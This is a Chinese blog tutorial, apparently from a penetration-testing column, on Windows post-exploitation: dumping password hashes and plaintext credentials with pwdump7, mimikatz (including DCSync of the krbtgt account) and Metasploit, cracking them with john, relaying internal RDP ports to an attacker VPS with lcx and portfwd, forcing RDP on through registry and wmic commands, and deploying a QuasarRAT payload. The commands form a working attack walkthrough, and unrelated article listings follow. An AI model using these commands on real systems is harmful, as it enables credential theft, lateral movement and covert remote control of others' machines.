005--Hash读取与端口转发

最新推荐文章于 2024-03-22 16:16:48 发布
置顶 最新推荐文章于 2024-03-22 16:16:48 发布
阅读量1.1k 收藏 2
点赞数
分类专栏： 渗透测试 系统提权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_44508748/article/details/107147111
版权

Hash读取

在提权成功拿到system权限之后，下一步就应该为内网渗透做准备。其中很重要的一步就是读取设备本地的hash值。工具读取hash的本质都是利用高权限system去读取Windows的SAM文件。在Windows2012版本以下，还可以通过工具直接去读取内存里面的明文密码，Windows 2012之后不能再读内存中的明文，只能用mimiakatz读取hash然后进行破解。

一、使用pwdump7获取hash

pwdump7是一款本地hash读取工具，需要系统权限运行，用法是直接在CMD命令窗口运行即可。测试win7、Windows2003、window2008均可读取：

Win7
在这里插入图片描述
Windows2008
在这里插入图片描述Windows2003：
在这里插入图片描述
拿到hash直接破解：
在这里插入图片描述

二、mimikatz抓取hash

mimikatz在内网的作用远不止于hash读取，例如域中的黄金、白银票据伪造，权限维持等。这里暂时只介绍他的hash读取功能：

项目地址：https://github.com/gentilkiwi/mimikatz/releases

mimikatz需要高权限运行才能发挥，至少是administrator权限 ，抓取密码的命令需要system权限
1.抓取密码需要先进行提权

#提升权限（从administrator提升到system）
privilege::debug

2.抓取hash

#获取当前在线用户的明文密码（需要高权限运行）
sekurlsa::logonpasswords
#获取当前此计算机存在过用户的NTLMHASH  
lsadump::lsa /patch

在这里插入图片描述
3.mimikatz其他命令

#导出所有用户口令 使用Volue Shadow Copy获得SYSTEM、SAM备份
lsadump::sam SYSTEM.hiv 
#通过内存文件获取口令
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full
#拉取 rd.adsecurity.org 域中的 KRBTGT 用户帐户的密码数据
lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt
#拉取 lab.adsecurity.org 域中 ADSDC03 域控制器的计算机帐户的密码数据
lsadump::dcsync /domain:lab.adsecurity.org /user:adsdc03$

4.pass.exe读取明文密码
在这里插入图片描述window2008用getpassword.exe
在这里插入图片描述

三、MSF抓取hash

MSF在win7以下系统可以直接抓取hash，07以上要绕过uac才能进行抓取，抓取hash需要管理员权限。
1.hashdump抓取hash并破解
在这里插入图片描述
将得到的hash值复制hash到新文件利用john工具进行破解：
在这里插入图片描述

john a.hash
# 破解hash

在这里插入图片描述

2.smart_hashdump模块

use windows/gather/smart_hashdump
set session
run

在这里插入图片描述

3.MSF+mimikatz

提权成功后执行：

#查看权限
getuid
#尝试获取system权限，一般都是失败，可利用溢出漏洞进行提权
getsystem 
#加载mimiakatz
load mimikatz
#帮助
help mimikatz
#随便输入一个a模块让他报错会显示所有可用模块
mimikatz_command -f a::  
#查看指定模块使用方法 
mimikatz_command -f hash::

①抓取系统hash值

msv

在这里插入图片描述②抓取系统票据

kerberos

在这里插入图片描述
③获取系统账号信息

wdigest

在这里插入图片描述
④抓取hash

mimikatz_command -f samdump::hashes

在这里插入图片描述
⑥查看系统进程

mimikatz_command -f handle::list

在这里插入图片描述

端口转发

端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为，拿到公网shell和内网shell之后，无法直接接入目标内网，需要进行端口转发将内网的端口转发到我们的网络环境可以接入的跳板机上面从而进行连接，常见的端口转发方式有很多，例如lcx工具转发，nc反弹，socket代理， ssh隧道代理转发等等，这里暂时只对LCX工具进行介绍，其他方式后续陆续讲解。LCX端口转发步骤如下：

LCX端口转发

1.本地监听
实战情况下这里的IP应该是vps主机执行此命令，VPS主机将监听接收到的1111端口转发到本地11122端口上。

lcx.exe -listen 1111 11122
# 端口1111是目标主机连接本地的端口
# 端口11122是将接收到的服务器内容转发端口

2.端口转发
在目标内网设备执行此命令。将目标的3389端口转发到VPS设备192.168.1.4的1111端口上

lcx.exe -slave 192.168.1.4 1111 127.0.0.1 3389

在这里插入图片描述
3.成功连接
在这里插入图片描述4.远程连接
我们已经将目标内网的3389转口转发到192.168.1.4的11122端口上，此时只需要Mstsc 192.168.1.4:11122即可连接上内网主机：
在这里插入图片描述

MSF端口转发

https://www.ngrok.cc/

注册ngrock账号，启动转发。ngrock使用方法：Ngrock穿透内网

1.建立会话。测试net service权限也可以转发端口
在这里插入图片描述
2.端口转发

portfwd add -l 1133 -p 3389 -r 127.0.0.1
#将目标3389转发到本地的1133端口

在这里插入图片描述
3.远程连接

rdesktop 127.0.0.1:1133

在这里插入图片描述

其他

在远程连接时总会遇见不可描述的各种疑难杂症，记录如下：

1.服务端口默认被修改
解决办法①：

#查询TermService对应PID和netstat查询的PID对应的端口号
tasklist /svc
netstat -ano | findstr PID

在这里插入图片描述解决办法②：

#读取注册表查询终端端口PortNumber的值
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber

在这里插入图片描述
备注：0xd3d=hex(3389)

解决办法③：nnmap探测(ms-wbt-server)
在这里插入图片描述2.服务器未开启3389
解决办法：强开3389

#通用开3389：
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
#For Win2003&Win2008:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
# win2012/win08通用；win7前两条适用。winxp/win03未测验权限需要run as administrator:
wmic /namespace:\root\cimv2 erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\root\cimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

3.服务器网络环境处于内网：
解决办法：端口转发

4.防护验证规则/IP或计算机名：
解决办法：找IP/计算机名白名单。如果真遇上这种情况又找不着白名单的话，在3389这一块算是交代了，可以换一种思路，直接上远控

QuasarRAT远控

Quasar提供高稳定性和简单易用的用户界界面，相对于其他远控工具干净简约且开源。据说基本支持Windows大部分版本。这里仅作简单的使用方法介绍，不到万不得已不建议上远控。项目地址：https://github.com/quasar/QuasarRAT/releases
1.生成payload
在这里插入图片描述
2.开启监听
在这里插入图片描述
3.靶机执行payload，返回会话
需要靶机支持dotnet4.0环境，且使用管理员权限运行payload。
在这里插入图片描述
4.为所欲为

在这里插入图片描述

nginx工作笔记005---nginx配置负载均衡_在微服务中实现网关集群_实现TCP传输层协议__http协议的负载均衡
添柴程序猿的专栏
11-26 463
技术交流QQ群【JAVA,C++,Python,.NET,BigData,AI】：170933152 1.因为这里说的ngxin基于tcp传输层的,http协议做的负载均衡 在关于高并发负载均衡一文中已经提到，企业在解决高并发问题时，一般有两个方向的处理策略，软件、硬件，硬件上添加负载均衡器分发大量请求，软件上可在高并发瓶颈处：数据库+web服务器两处添加解决方案，其中web服务器前面一层最常用的的添加负载方案就是使用nginx实现负载均衡。 一、负载均衡的作用 1、转发功能 按照一定的算法【权.
[Spark版本更新]--Spark-2.4.0 发布说明
欢迎来到我的博客，一起探索代码里的世界！
11-09 6632
2018-11-02 Apache Spark 官方发布了 2.4.0版本，以下是 Release Notes，供参考：  Sub-task [ SPARK-6236 ] - 支持大于2G的缓存块 [ SPARK-6237 ] - 支持上传块> 2GB作为流 [ SPARK-10884 ] - 支持针对回归和分类相关模型的单实例预测 [ SPARK-11239 ] - 用于ML线性...
mimikatz最新版本地hash抓取神器
06-08
mimikatz大神们都知道的东西吧，渗透测试常用工具。法国一个牛B的人写的轻量级调试器，可以帮助安全测试人员抓取Windows密码。mimikatz 最近发布了它的2.1版本，抓密码命令更加简单了！
hash 算法
weixin_43361158的博客
01-09 1037
hash 环的倾斜在极端情况下，仍然有可能引起系统的崩溃，为了解决这种数据倾斜问题，一致性哈希算法引入了虚拟节点机制，即对每一个服务节点计算多个哈希，每个计算结果位置都放置一个此服务节点，称为虚拟节点，一个实际物理节点可以对应多个虚拟节点，虚拟节点越多，hash环上的节点就越多，缓存被均匀分布的概率就越大，hash环倾斜所带来的影响就越小，同时数据定位算法不变，只是多了一步虚拟节点到实际节点的映射。根据“Hash”后的数字，对服务器列表进行取模运算，得到服务器的序号。hash 环的倾斜与虚拟节点。
OpenCV源码解析：Hash链表的生成（cvGetFileNode）与读取（cvGetFileNodeByName）
tanmx219的博客
08-23 1013
从父节点派生子节点cvGetFileNode 从CvFileNode* _map_node中，根据key生成一个node，设置后返回这个生成的node。 举个应用的例子： 在函数icvXMLParseValue中，当读取XML分类器中一个map_node”<_>”时，其相应的key为key(rect)，一个rect有4个参数（左上角x,y,右下角x,y），icvXMLParseVa...
使用哈希表实现节点的相关操作
有梦不难
08-08 567
1.哈希表的优势 使用数组和链表实现，数组的每个元素是一个单链表 2.代码实现 1.数组节点 package hashTable; import java.util.HashSet; public class EmployeeArray { private EmployeeLinked[] employeeLinked; // 管理链表的数组 private int size; // 链表的个数(数组长度) // 构造方法 public EmployeeArray
获取hash的方式
qq_44742261的博客
06-30 354
原生js：location.hash vue: this.$route.path this.$router 获取到所有router对象（vueRouter） this.$route 获取当前路由对象
k8s学习笔记（5）--- kubernetes核心组件之etcd详解
梦谜的博客
12-29 4397
kubernetes核心组件之etcd详解一、etcd二、etcd部署1.采用etcd镜像的方式部署1.1 将服务器添加进集群的两种方式1.1.1 将服务器挨个添加进集群 一、etcd         etcd是一个高可用的键值存储系统，主要用于共享配置和服务发现。etcd是由CoreOS开发并维护的，灵感来自于 Zo...
centos7 nginx安装及配置端口转发实战
热门推荐
活在当下 乐在其中
10-07 2万+
文章简介      本文主要记录下centos7.1安装nginx1.8的步骤，并配置nginx 做端口转发。 安装说明 操作系统：centos7.1 软件：nginx-1.8.0.tar.gz 安装方式：源码编码安装 安装位置：/usr/local/nginx 准备工具 在安装nginx前，需要确保系统已经安装了g++、gcc、 ncurses-devel 、openssl
XXL-JOB完全开发手册（一篇学会XXL-JOB所有知识点）
hao_kkkkk的专栏
03-19 1317
如果任务类型为 “GLUE模式”，将会加载 GLue 代码，实例化 Java 对象，注入依赖的 Spring 服务（注意：Glue代码中注入的Spring服务，必须存在与该“执行器”项目的Spring容器中），然后调用execute方法，执行任务逻辑。使用于业务复杂，业务量大，服务器多。​ 调度中心和执行器两个模块分开部署，相互分离，两者之间通过RPC进行通信，其中调度中心主要是提供一个平台，管理调度信息，发送调度请求，自己不承担业务代码，而执行器接受调度中心的调度执行业务逻辑。
分享一款快速hash识别工具-------Hash-Identifier
HxXh
07-13 4304
一款很好用的hash识别工具，之前在github上看到的。适用场景：Win & Linux要求：Python 2.7-3.0用法：windows:单击start.bat即可：Linux： ~# cd Hash-Identifier ~# chmod u+x start.sh ~# ./start.sh附下载地址链接：http://pan.baidu.com...
端口聚合与Hash算法
MrWangHao的博客
05-05 2366
提示：关于Hash与负载分担方式提示：以下是本篇文章正文内容，下面案例可供参考Hash，一般翻译做散列、杂凑，或音译为哈希，是把任意长度的输入（又叫做预映射pre-image）通过散列算法变换成固定长度的输出，该输出就是散列值。（1）这种转换是一种压缩映射，通常散列的空间远远小于输入的空间。（2）不同的输入可能会散列除相同的输出（所以不能从散列值确定输入值）Hash就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。
windows获取hash常见手法，你知道吗？
最新发布
logic1001的博客
03-22 1904
有师傅反应之前的文章有点太长篇大论 太干，故今日麋鹿换一些风格的文章，写一些简单的，希望能帮到大家，尤其是刚入门的师傅们！适用于Windows 8.1 和 Windows Server 2012 R2 之前Windows 8.1 和 Windows Server 2012 R2 之后，出于安全原因，默认情况下禁用了 WDigest 的明文密码存储可以读到hash所有我们要修改注册表将 UseLogonCredential 设置为 1 然后重启再用猕猴桃就可以获取到密码了。
哈希策略_优化哈希策略的简介
最佳 Java 编程
06-23 511
哈希策略 总览 用于哈希键的策略可以直接影响哈希集合（例如HashMap或HashSet）的性能。 内置的哈希函数被设计为通用的，并且可以在各种用例中很好地工作。 我们可以做得更好，特别是如果您对用例有一个很好的了解吗？ 测试哈希策略 在上一篇文章中，我介绍了多种测试哈希策略的方法，特别是针对“正交位”进行了优化的哈希策略，旨在确保每个哈希结果仅基于一个比特就尽可能地不同变化。 但...
2021-08-29 SONiC中基于策略的哈希配置
weixin_44316184的博客
08-29 322
SONiC中基于策略的哈希配置 SONiC可以支持对不同类型的报文采取不同的Hash算法 对于多通道、多链路连接的情况，如LAG和ECMP的接口上，交换机和路由器采用Hash算法对报文中指定的字段进行Hash计算，然后根据得到的Hash值来确定报文经过具体哪一个LAG/ECMP成员发送出去。一般来说，路由器和交换机也能支持对Hash算法选择的字段进行配置，如配置为对IP源、目的地址、端口等信息，或者源MAC、目的MAC、VLAN ID等信息进行Hash计算。 基于端口配置Hash字段也会带来一些问题，例如对
优化哈希策略的简介
最佳 Java 编程
05-30 218
总览 用于哈希键的策略可以直接影响哈希集合（例如HashMap或HashSet）的性能。 内置的哈希函数被设计为通用的，并且可以在各种用例中很好地工作。 我们可以做得更好，特别是如果您对用例有一个很好的了解吗？ 测试哈希策略 在上一篇文章中，我介绍了多种测试哈希策略的方法，特别是针对“正交位”进行了优化的哈希策略，该方法旨在确保每个哈希结果仅基于一个比特就尽可能地不同变化。 但是...
哈希处理介绍-使用Mimikatz以及John对Windows用户密码破解
ran的博客
02-06 7559
Windows系统使用两种算法对用户的密码进行哈希处理， 它们分别是LM-hash算法和NTLMhash算法。所谓哈希(hash) ， 就是使用一种加密函数对其进行加密。这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算，然后返回一个固定长度的字符串。Windows的系统密码hash默认情况下一般由两部分组成：第一部分是LM-hash， 第二部分是NTLM-hash。通常可从Windows系统中的SAM文件和域控制器的NTDS.dit文件中获得所有用户的hash。
内网渗透-获取WIN本地用户Hash
小刚的博客
10-27 2995
作者：小刚 一位苦于信息安全的萌新小白帽，记得关注给个赞，谢谢 本实验仅用于信息防御教学，切勿用于其它用途 WIN本地获取Hashwin系统密码为什么要获取本地hash几种工具和获取方式注册表 + mimikatzProcdump + mimikatz直接mimikatz读取密码 win系统密码 Windows系统使用LM和NTLM两种方法对用户的密码进行加密处理， 两种密码的加密方式在这有介绍Win本地hash概念 但注意的是从win-server-2008开始默认禁止使用LM加密方式，统一使用NT.
内网渗透系列之mimikatz的使用以及后门植入
lza20001103的博客
09-04 4526
内网渗透系列之mimikatz的使用以及后门植入 文章目录内网渗透系列之mimikatz的使用以及后门植入前言mimikatz的使用后门植入msf永久后门植入（1）Meterpreter后门：Metsvc（2）Meterpreter后门：PersistenceNC后门后记 前言 内网渗透最重要的环节就是权限维持，当我们获取到靶机的权限后，当对方的机器关机后，我们所获取的会话也会跟着消失，也就是说当他重新开启后，我们又得重新进行信息收集，漏洞利用，又重复着上一个渗透的过程，工程量就很大了。所以，为了能一直维持
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值
>